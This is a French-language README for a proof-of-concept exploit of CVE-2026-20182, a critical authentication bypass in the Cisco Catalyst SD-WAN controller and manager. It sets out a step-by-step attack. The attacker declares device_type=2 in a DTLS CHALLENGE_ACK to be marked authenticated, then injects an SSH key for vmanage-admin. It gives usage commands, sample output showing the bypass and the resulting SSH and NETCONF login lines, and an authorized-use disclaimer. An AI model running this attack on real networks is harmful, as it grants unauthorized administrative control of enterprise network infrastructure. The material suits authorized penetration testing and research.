CVE-2026-20182 — Contournement d'authentification du contrôleur/gestionnaire Cisco Catalyst SD-WAN
Un exploit proof-of-concept pour CVE-2026-20182, un contournement d'authentification critique (CVSS 10.0) dans le service vdaemon DTLS (UDP/12346) sur le contrôleur Cisco Catalyst SD-WAN (vSmart) et le gestionnaire (vManage).
Divulgué : 14 mai 2026 par Rapid7 (Stephen Fewer & Jonah Burgess)
CISA KEV : Ajouté le 14 mai 2026 (Directive d'urgence 26-03)
CVSS : 10,0 — CWE-287 : Authentification inappropriée
Vulnérabilité
Le service vdaemon utilise une poignée de main DTLS multiphase pour authentifier les pairs du plan de contrôle. La fonction vbond_proc_challenge_ack() implémente une vérification de certificat spécifique au type d'appareil — mais le type d'appareil 2 (vHub) ne comporte aucun chemin de code de vérification. L'envoi d'un CHALLENGE_ACK avec device_type=2 fait passer la fonction à travers toutes les conditions et définit inconditionnellement peer->authenticated = 1.
Aucun identifiant valide, aucun certificat signé par une AC et aucune connaissance du déploiement SD-WAN ne sont nécessaires.
Ce que fait l'exploit
- Établit une connexion DTLS 1.2 au service vdaemon de la cible (UDP/12346)
- Reçoit le message CHALLENGE (msg_type=8)
- Envoie CHALLENGE_ACK en se déclarant comme vHub (device_type=2) → le pair est marqué comme authentifié
- Envoie HELLO (msg_type=5) → le pair passe à l'état UP
- Injecte une clé publique SSH dans
/home/vmanage-admin/.ssh/authorized_keys via MSG_VMANAGE_TO_PEER (msg_type=14)
- Accorde un accès NETCONF (SSH TCP/830) ou un accès SSH (TCP/22) en tant que
vmanage-admin
Utilisation
python3 cve-2026-20182.py -t <target> [options]
Options
Exemples
# Générer une nouvelle paire de clés et exploiter
python3 cve-2026-20182.py -t 192.168.1.100
# Utiliser une clé publique existante
python3 cve-2026-20182.py -t 192.168.1.100 --key-file ~/.ssh/id_rsa.pub
# Exploiter et vérifier via NETCONF
python3 cve-2026-20182.py -t 192.168.1.100 --netconf
Sortie
[*] Targeting 192.168.1.100:12346 (vdaemon DTLS)
[+] DTLS handshake complete (received msg_type=8, 1027 bytes)
[*] Sending CHALLENGE_ACK with device_type=2 (vHub) ...
[+] peer->authenticated = 1 (authentication bypassed!)
[*] Sending HELLO ...
[+] Peer is UP state (peering handshake bypass successful)
[*] Injecting SSH public key ...
[+] NETCONF: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa -p 830 [email protected]
[+] SSH: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa [email protected]
Versions affectées
Références de recherche
Détails techniques
L'en-tête du protocole vdaemon est de 12 octets :
Types d'appareils : 1=vEdge, 2=vHub, 3=vSmart, 4=vBond, 5=vManage
Prérequis
- Python 3.7+
- CLI
openssl (pour le transport DTLS)
- Bibliothèque
cryptography (pip install cryptography)
Avertissement
Cet exploit est destiné uniquement aux opérations autorisées de red team, aux tests de pénétration et à la recherche en sécurité sur des systèmes pour lesquels vous disposez d'une autorisation écrite explicite. Toute utilisation non autorisée est illégale.